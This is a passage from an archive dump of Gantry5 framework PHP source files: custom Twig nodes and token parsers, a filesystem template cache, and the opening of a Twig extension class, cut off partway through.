 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Translator;

interface TranslatorInterface
{
    /**
     * @param string $string
     * @return string
     */
    public function translate($string);

    /**
     * Set new active language if given and return previous active
language.
     *
     * @param  string  $language  Language code. If not given, current
language is kept.
     * @return string  Previously active language.
     */
    public function active($language = null);
}
Gantry/Component/Twig/Node/TwigNodeAssets.php000064400000004267151157471010015200
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeAssets extends \Twig_Node implements
\Twig_NodeCaptureInterface
{
    protected $tagName = 'assets';

    public function __construct(\Twig_Node $body = null,
\Twig_Node_Expression $location = null, \Twig_Node_Expression $variables =
null, $lineno = 0, $tag = null)
    {
        parent::__construct(['body' => $body,
'location' => $location, 'variables' =>
$variables], [], $lineno, $tag);
    }
    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler $compiler A Twig_Compiler instance
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler->addDebugInfo($this)
            ->write("\$assetFunction =
\$this->env->getFunction('parse_assets')->getCallable();\n")
            ->write('$assetVariables = ')
            ->subcompile($this->getNode('variables'))
            ->raw(";\n")
            ->write("if (\$assetVariables &&
!is_array(\$assetVariables)) {\n")
            ->indent()
            ->write("throw new UnexpectedValueException('{%
{$this->tagName} with x %}: x is not an array');\n")
            ->outdent()
            ->write("}\n")
            ->write('$location = ')
            ->subcompile($this->getNode('location'))
            ->raw(";\n")
            ->write("if (\$location &&
!is_string(\$location)) {\n")
            ->indent()
            ->write("throw new UnexpectedValueException('{%
{$this->tagName} in x %}: x is not a string');\n")
            ->outdent()
            ->write("}\n")
            ->write("\$priority =
isset(\$assetVariables['priority']) ?
\$assetVariables['priority'] : 0;\n")
            ->write("ob_start();\n")
            ->subcompile($this->getNode('body'))
            ->write("\$content = ob_get_clean();\n")
            ->write("\$assetFunction(\$content, \$location,
\$priority);\n");
    }
}
Gantry/Component/Twig/Node/TwigNodeMarkdown.php000064400000002701151157471010015507
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeMarkdown extends \Twig_Node implements
\Twig_NodeOutputInterface
{
    public function __construct(\Twig_Node $body, $lineno, $tag =
'markdown')
    {
        parent::__construct(['body' => $body], [], $lineno,
$tag);
    }
    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler A Twig_Compiler instance
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler
            ->addDebugInfo($this)
            ->write('ob_start();' . PHP_EOL)
            ->subcompile($this->getNode('body'))
            ->write('$content = ob_get_clean();' . PHP_EOL)
            ->write('preg_match("/^\s*/", $content,
$matches);' . PHP_EOL)
            ->write('$lines = explode("\n",
$content);' . PHP_EOL)
            ->write('$content = preg_replace(\'/^\' .
$matches[0]. \'/\', "", $lines);' . PHP_EOL)
            ->write('$content = join("\n",
$content);' . PHP_EOL)
            ->write('echo
$this->env->getExtension(\'Gantry\Component\Twig\TwigExtension\')->markdownFunction($content);'
. PHP_EOL);
    }
}
Gantry/Component/Twig/Node/TwigNodePageblock.php000064400000004226151157471010015620
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodePageblock extends \Twig_Node implements
\Twig_NodeCaptureInterface
{
    protected $tagName = 'pageblock';

    public function __construct(\Twig_Node $body = null,
\Twig_Node_Expression $location = null, \Twig_Node_Expression $variables =
null, $lineno = 0, $tag = null)
    {
        parent::__construct(['body' => $body,
'location' => $location, 'variables' =>
$variables], [], $lineno, $tag);
    }
    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler $compiler A Twig_Compiler instance
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler->addDebugInfo($this)
            ->write('$pageblockVariables = ')
            ->subcompile($this->getNode('variables'))
            ->raw(";\n")
            ->write("if (\$pageblockVariables &&
!is_array(\$pageblockVariables)) {\n")
            ->indent()
            ->write("throw new UnexpectedValueException('{%
{$this->tagName} with x %}: x is not an array');\n")
            ->outdent()
            ->write("}\n")
            ->write('$location = ')
            ->subcompile($this->getNode('location'))
            ->raw(";\n")
            ->write("if (\$location &&
!is_string(\$location)) {\n")
            ->indent()
            ->write("throw new UnexpectedValueException('{%
{$this->tagName} in x %}: x is not a string');\n")
            ->outdent()
            ->write("}\n")
            ->write("\$priority =
isset(\$pageblockVariables['priority']) ?
\$pageblockVariables['priority'] : 0;\n")
            ->write("ob_start();\n")
            ->subcompile($this->getNode('body'))
            ->write("\$content = ob_get_clean();\n")
           
->write("Gantry\Framework\Gantry::instance()['document']->addHtml(\$content,
\$priority, \$location);\n");
    }
}
Gantry/Component/Twig/Node/TwigNodeScripts.php000064400000000757151157471010015365
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeScripts extends TwigNodeAssets
{
    protected $tagName = 'scripts';
}
Gantry/Component/Twig/Node/TwigNodeStyles.php000064400000000756151157471010015220
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeStyles extends TwigNodeScripts
{
    protected $tagName = 'styles';
}
Gantry/Component/Twig/Node/TwigNodeSwitch.php000064400000004011151157471010015162
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeSwitch extends \Twig_Node
{
    public function __construct(\Twig_Node $value, \Twig_Node $cases,
\Twig_Node $default = null, $lineno = 0, $tag = null)
    {
        parent::__construct(array('value' => $value,
'cases' => $cases, 'default' => $default),
array(), $lineno, $tag);
    }

    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler A Twig_Compiler instance
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler
            ->addDebugInfo($this)
            ->write('switch (')
            ->subcompile($this->getNode('value'))
            ->raw(") {\n")
            ->indent();

        foreach ($this->getNode('cases') as $case) {
            if (!$case->hasNode('body')) {
                continue;
            }

            foreach ($case->getNode('values') as $value) {
                $compiler
                    ->write('case ')
                    ->subcompile($value)
                    ->raw(":\n");
            }

            $compiler
                ->write("{\n")
                ->indent()
                ->subcompile($case->getNode('body'))
                ->write("break;\n")
                ->outdent()
                ->write("}\n");
        }

        if ($this->hasNode('default') &&
$this->getNode('default') !== null) {
            $compiler
                ->write("default:\n")
                ->write("{\n")
                ->indent()
                ->subcompile($this->getNode('default'))
                ->outdent()
                ->write("}\n");
        }

        $compiler
            ->outdent()
            ->write("}\n");
    }
}
Gantry/Component/Twig/Node/TwigNodeThrow.php000064400000002221151157471010015025
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeThrow extends \Twig_Node
{
    public function __construct(
        $code,
        \Twig_Node $message,
        $lineno = 0,
        $tag = null
    )
    {
        parent::__construct(['message' => $message],
['code' => $code], $lineno, $tag);
    }

    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler $compiler A Twig_Compiler instance
     * @throws \LogicException
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler->addDebugInfo($this);

        $compiler
            ->write('throw new \RuntimeException(')
            ->subcompile($this->getNode('message'))
            ->write(', ')
            ->write($this->getAttribute('code') ?: 500)
            ->write(");\n");
    }
}
Gantry/Component/Twig/Node/TwigNodeTryCatch.php000064400000003233151157471010015447
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\Node;

class TwigNodeTryCatch extends \Twig_Node
{
    public function __construct(\Twig_Node $try, \Twig_Node $catch = null,
$lineno = 0, $tag = null)
    {
        parent::__construct(array('try' => $try,
'catch' => $catch), array(), $lineno, $tag);
    }

    /**
     * Compiles the node to PHP.
     *
     * @param \Twig_Compiler $compiler A Twig_Compiler instance
     */
    public function compile(\Twig_Compiler $compiler)
    {
        $compiler->addDebugInfo($this);

        $compiler
            ->write('try {')
        ;

        $compiler
            ->indent()
            ->subcompile($this->getNode('try'))
        ;

        if ($this->hasNode('catch') && null !==
$this->getNode('catch')) {
            $compiler
                ->outdent()
                ->write('} catch (\Exception $e) {' .
"\n")
                ->indent()
                ->write('if
($context[\'gantry\']->debug()) throw $e;' .
"\n")
                ->write('GANTRY_DEBUGGER &&
method_exists(\'Gantry\\Debugger\', \'addException\')
&& \Gantry\Debugger::addException($e);' . "\n")
                ->write('$context[\'e\'] = $e;' .
"\n")
                ->subcompile($this->getNode('catch'))
            ;
        }

        $compiler
            ->outdent()
            ->write("}\n");
    }
}
Gantry/Component/Twig/TokenParser/TokenParserAssets.php000064400000005221151157471010017254
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodeScripts;

/**
 * Adds javascript / style assets to head/footer/custom location.
 *
 * {% assets in 'head' with { priority: 2 } %}
 *   <script type="text/javascript" src="{{
url('gantry-theme://js/my.js') }}"></script>
 *   <link rel="stylesheet" href="{{
url('gantry-assets://css/font-awesome.min.css') }}"
type="text/css"/>
 * {% endassets -%}
 */
class TokenParserAssets extends \Twig_TokenParser
{
    /**
     * Parses a token and returns a node.
     *
     * @param \Twig_Token $token A Twig_Token instance
     *
     * @return \Twig_Node A Twig_Node instance
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
        $stream = $this->parser->getStream();

        list($location, $variables) = $this->parseArguments($token);

        $content = $this->parser->subparse([$this,
'decideBlockEnd'], true);
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new TwigNodeScripts($content, $location, $variables,
$lineno, $this->getTag());
    }

    /**
     * @param \Twig_Token $token
     * @return array
     */
    protected function parseArguments(\Twig_Token $token)
    {
        $stream = $this->parser->getStream();
        $location = null;
        if ($stream->nextIf(\Twig_Token::OPERATOR_TYPE, 'in'))
{
            $location =
$this->parser->getExpressionParser()->parseExpression();
        } else {
            $lineno = $token->getLine();
            $location = new
\Twig_Node_Expression_Constant('head', $lineno);
        }

        if ($stream->nextIf(\Twig_Token::NAME_TYPE, 'with')) {
            $variables =
$this->parser->getExpressionParser()->parseExpression();
        } else {
            $lineno = $token->getLine();
            $variables = new \Twig_Node_Expression_Array([], $lineno);
            $variables->setAttribute('priority', 0);
        }
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return [$location, $variables];
    }

    public function decideBlockEnd(\Twig_Token $token)
    {
        return $token->test('endassets');
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'assets';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserMarkdown.php000064400000002767151157471010017610
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodeMarkdown;

/**
 * Adds ability to inline markdown between tags.
 *
 * {% markdown %}
 * This is **bold** and this _underlined_
 *
 * 1. This is a bullet list
 * 2. This is another item in that same list
 * {% endmarkdown %}
 */
class TokenParserMarkdown extends \Twig_TokenParser
{
    /**
     * {@inheritdoc}
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
       
$this->parser->getStream()->expect(\Twig_Token::BLOCK_END_TYPE);
        $body = $this->parser->subparse(array($this,
'decideMarkdownEnd'), true);
       
$this->parser->getStream()->expect(\Twig_Token::BLOCK_END_TYPE);
        return new TwigNodeMarkdown($body, $lineno, $this->getTag());
    }

    /**
     * Decide if current token marks end of Markdown block.
     *
     * @param \Twig_Token $token
     * @return bool
     */
    public function decideMarkdownEnd(\Twig_Token $token)
    {
        return $token->test('endmarkdown');
    }

    /**
     * {@inheritdoc}
     */
    public function getTag()
    {
        return 'markdown';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserPageblock.php000064400000004534151157471010017707
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodePageblock;

/**
 * Adds javascript / style assets to head/footer/custom location.
 *
 * {% pageblock in 'bottom' with { priority: 0 } %}
 *   <div>Bottom HTML</div>
 * {% endpageblock -%}
 */
class TokenParserPageblock extends \Twig_TokenParser
{
    /**
     * Parses a token and returns a node.
     *
     * @param \Twig_Token $token A Twig_Token instance
     *
     * @return \Twig_Node A Twig_Node instance
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
        $stream = $this->parser->getStream();

        list($location, $variables) = $this->parseArguments($token);

        $content = $this->parser->subparse([$this,
'decideBlockEnd'], true);
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new TwigNodePageblock($content, $location, $variables,
$lineno, $this->getTag());
    }

    /**
     * @param \Twig_Token $token
     * @return array
     */
    protected function parseArguments(\Twig_Token $token)
    {
        $stream = $this->parser->getStream();
        $lineno = $token->getLine();
        $location = new
\Twig_Node_Expression_Constant($stream->expect(\Twig_Token::NAME_TYPE)->getValue(),
$lineno);

        if ($stream->nextIf(\Twig_Token::NAME_TYPE, 'with')) {
            $variables =
$this->parser->getExpressionParser()->parseExpression();
        } else {
            $lineno = $token->getLine();
            $variables = new \Twig_Node_Expression_Array([], $lineno);
            $variables->setAttribute('priority', 0);
        }
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return [$location, $variables];
    }

    public function decideBlockEnd(\Twig_Token $token)
    {
        return $token->test('endpageblock');
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'pageblock';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserScripts.php000064400000001731151157471010017443
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

/**
 * Adds scripts to head/footer/custom location.
 *
 * {% scripts in 'head' with { priority: 2 } %}
 *   <script type="text/javascript" src="{{
url('gantry-theme://js/my.js') }}"></script>
 * {% endscripts -%}
 */
class TokenParserScripts extends TokenParserAssets
{
    public function decideBlockEnd(\Twig_Token $token)
    {
        return $token->test('endscripts');
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'scripts';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserStyles.php000064400000001715151157471010017301
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

/**
 * Adds stylesheets to document.
 *
 * {% styles with { priority: 2 } %}
 *   <link rel="stylesheet" href="{{
url('gantry-assets://css/font-awesome.min.css') }}"
type="text/css"/>
 * {% endstyles -%}
 */
class TokenParserStyles extends TokenParserAssets
{
    public function decideBlockEnd(\Twig_Token $token)
    {
        return $token->test('endstyles');
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'styles';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserSwitch.php000064400000007354151157471010017264
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodeSwitch;

/**
 * Adds ability use elegant switch instead of ungainly if statements
 *
 * {% switch type %}
 *   {% case 'foo' %}
 *      {{ my_data.foo }}
 *   {% case 'bar' %}
 *      {{ my_data.bar }}
 *   {% default %}
 *      {{ my_data.default }}
 * {% endswitch %}
 */
class TokenParserSwitch extends \Twig_TokenParser
{
    /**
     * {@inheritdoc}
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
        $stream = $this->parser->getStream();

        $name =
$this->parser->getExpressionParser()->parseExpression();
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        // There can be some whitespace between the {% switch %} and first
{% case %} tag.
        while ($stream->getCurrent()->getType() ===
\Twig_Token::TEXT_TYPE &&
trim($stream->getCurrent()->getValue()) === '') {
            $stream->next();
        }

        $stream->expect(\Twig_Token::BLOCK_START_TYPE);

        $expressionParser = $this->parser->getExpressionParser();

        $default = null;
        $cases = [];
        $end = false;

        while (!$end) {
            $next = $stream->next();

            switch ($next->getValue()) {
                case 'case':
                    $values = [];

                    while (true) {
                        $values[] =
$expressionParser->parsePrimaryExpression();
                        // Multiple allowed values?
                        if ($stream->test(\Twig_Token::OPERATOR_TYPE,
'or')) {
                            $stream->next();
                        } else {
                            break;
                        }
                    }

                    $stream->expect(\Twig_Token::BLOCK_END_TYPE);
                    $body = $this->parser->subparse(array($this,
'decideIfFork'));
                    $cases[] = new \Twig_Node([
                        'values' => new \Twig_Node($values),
                        'body' => $body
                    ]);
                    break;

                case 'default':
                    $stream->expect(\Twig_Token::BLOCK_END_TYPE);
                    $default = $this->parser->subparse(array($this,
'decideIfEnd'));
                    break;

                case 'endswitch':
                    $end = true;
                    break;

                default:
                    throw new \Twig_Error_Syntax(sprintf('Unexpected
end of template. Twig was looking for the following tags "case",
"default", or "endswitch" to close the
"switch" block started at line %d)', $lineno), -1);
            }
        }

        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new TwigNodeSwitch($name, new \Twig_Node($cases), $default,
$lineno, $this->getTag());
    }

    /**
     * Decide if current token marks switch logic.
     *
     * @param \Twig_Token $token
     * @return bool
     */
    public function decideIfFork(\Twig_Token $token)
    {
        return $token->test(array('case', 'default',
'endswitch'));
    }

    /**
     * Decide if current token marks end of swtich block.
     *
     * @param \Twig_Token $token
     * @return bool
     */
    public function decideIfEnd(\Twig_Token $token)
    {
        return $token->test(array('endswitch'));
    }

    /**
     * {@inheritdoc}
     */
    public function getTag()
    {
        return 'switch';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserThrow.php000064400000002564151157471010017124
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodeThrow;

/**
 * Handles try/catch in template file.
 *
 * <pre>
 * {% throw 404 'Not Found' %}
 * </pre>
 */
class TokenParserThrow extends \Twig_TokenParser
{
    /**
     * Parses a token and returns a node.
     *
     * @param \Twig_Token $token A Twig_Token instance
     *
     * @return \Twig_Node A Twig_Node instance
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
        $stream = $this->parser->getStream();

        $code =
$stream->expect(\Twig_Token::NUMBER_TYPE)->getValue();
        $message =
$this->parser->getExpressionParser()->parseExpression();
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new TwigNodeThrow($code, $message, $lineno,
$this->getTag());
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'throw';
    }
}
Gantry/Component/Twig/TokenParser/TokenParserTryCatch.php000064400000003514151157471010017536
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig\TokenParser;

use Gantry\Component\Twig\Node\TwigNodeTryCatch;

/**
 * Handles try/catch in template file.
 *
 * <pre>
 * {% try %}
 *    <li>{{ user.get('name') }}</li>
 * {% catch %}
 *    {{ e.message }}
 * {% endcatch %}
 * </pre>
 */
class TokenParserTryCatch extends \Twig_TokenParser
{
    /**
     * Parses a token and returns a node.
     *
     * @param \Twig_Token $token A Twig_Token instance
     *
     * @return \Twig_Node A Twig_Node instance
     */
    public function parse(\Twig_Token $token)
    {
        $lineno = $token->getLine();
        $stream = $this->parser->getStream();

        $stream->expect(\Twig_Token::BLOCK_END_TYPE);
        $try = $this->parser->subparse([$this,
'decideCatch']);
        $stream->next();
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);
        $catch = $this->parser->subparse([$this,
'decideEnd']);
        $stream->next();
        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new TwigNodeTryCatch($try, $catch, $lineno,
$this->getTag());
    }

    public function decideCatch(\Twig_Token $token)
    {
        return $token->test(array('catch'));
    }

    public function decideEnd(\Twig_Token $token)
    {
        return $token->test(array('endtry')) ||
$token->test(array('endcatch'));
    }

    /**
     * Gets the tag name associated with this token parser.
     *
     * @return string The tag name
     */
    public function getTag()
    {
        return 'try';
    }
}
Gantry/Component/Twig/TwigCacheFilesystem.php000064400000005435151157471010015311
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig;

/**
 * Class TwigCacheFilesystem
 * @package Gantry\Component\Twig
 *
 * Replaces \Twig_Cache_Filesystem, needed for being able to change PHP
versions on fly.
 */
class TwigCacheFilesystem implements \Twig_CacheInterface
{
    const FORCE_BYTECODE_INVALIDATION = 1;
    private $directory;
    private $options;
    /**
     * @param $directory string The root cache directory
     * @param $options   int    A set of options
     */
    public function __construct($directory, $options = 0)
    {
        $this->directory = rtrim($directory,
'\/').'/';
        $this->options = $options;
    }
    /**
     * {@inheritdoc}
     */
    public function generateKey($name, $className)
    {
        $hash = hash('sha256', $className . '-' .
PHP_VERSION);
        return
$this->directory.$hash[0].$hash[1].'/'.$hash.'.php';
    }
    /**
     * {@inheritdoc}
     */
    public function load($key)
    {
        @include_once $key;
    }
    /**
     * {@inheritdoc}
     */
    public function write($key, $content)
    {
        $dir = dirname($key);
        if (!is_dir($dir)) {
            if (false === @mkdir($dir, 0777, true) &&
!is_dir($dir)) {
                throw new \RuntimeException(sprintf('Unable to create
the cache directory (%s).', $dir));
            }
        } elseif (!is_writable($dir)) {
            throw new \RuntimeException(sprintf('Unable to write in
the cache directory (%s).', $dir));
        }
        $tmpFile = tempnam($dir, basename($key));
        if (false !== @file_put_contents($tmpFile, $content) &&
@rename($tmpFile, $key)) {
            @chmod($key, 0666 & ~umask());
            if (self::FORCE_BYTECODE_INVALIDATION == ($this->options
& self::FORCE_BYTECODE_INVALIDATION)) {
                // Compile cached file into bytecode cache
                if (function_exists('opcache_invalidate')) {
                    // Silence error in case if `opcache.restrict_api`
directive is set.
                    @opcache_invalidate($key, true);
                } elseif (function_exists('apc_compile_file')) {
                    @apc_compile_file($key);
                }
            }
            return;
        }
        throw new \RuntimeException(sprintf('Failed to write cache
file "%s".', $key));
    }
    /**
     * {@inheritdoc}
     */
    public function getTimestamp($key)
    {
        if (!file_exists($key)) {
            return 0;
        }
        return (int) @filemtime($key);
    }
}
Gantry/Component/Twig/TwigExtension.php000064400000050667151157471010014224
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Twig;

use Gantry\Component\Content\Document\HtmlDocument;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Translator\TranslatorInterface;
use Gantry\Component\Twig\TokenParser\TokenParserPageblock;
use Gantry\Component\Twig\TokenParser\TokenParserAssets;
use Gantry\Component\Twig\TokenParser\TokenParserScripts;
use Gantry\Component\Twig\TokenParser\TokenParserStyles;
use Gantry\Component\Twig\TokenParser\TokenParserTryCatch;
use Gantry\Component\Twig\TokenParser\TokenParserMarkdown;
use Gantry\Component\Twig\TokenParser\TokenParserSwitch;
use Gantry\Component\Twig\TokenParser\TokenParserThrow;
use Gantry\Framework\Gantry;
use Gantry\Framework\Markdown\Parsedown;
use Gantry\Framework\Markdown\ParsedownExtra;
use Gantry\Framework\Request;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccess;

class TwigExtension extends \Twig_Extension implements
\Twig_Extension_GlobalsInterface
{
    use GantryTrait;

    /**
     * Register some standard globals
     *
     * @return array
     */
    public function getGlobals()
    {
        return [
            'gantry' => static::gantry(),
        ];
    }

    /**
     * Return a list of all filters.
     *
     * @return array
     */
    public function getFilters()
    {
        $filters = [
            new \Twig_SimpleFilter('html', [$this,
'htmlFilter']),
            new \Twig_SimpleFilter('url', [$this,
'urlFunc']),
            new \Twig_SimpleFilter('trans_key', [$this,
'transKeyFilter']),
            new \Twig_SimpleFilter('trans', [$this,
'transFilter']),
            new \Twig_SimpleFilter('repeat', [$this,
'repeatFilter']),
            new \Twig_SimpleFilter('values', [$this,
'valuesFilter']),
            new \Twig_SimpleFilter('base64',
'base64_encode'),
            new \Twig_SimpleFilter('imagesize', [$this,
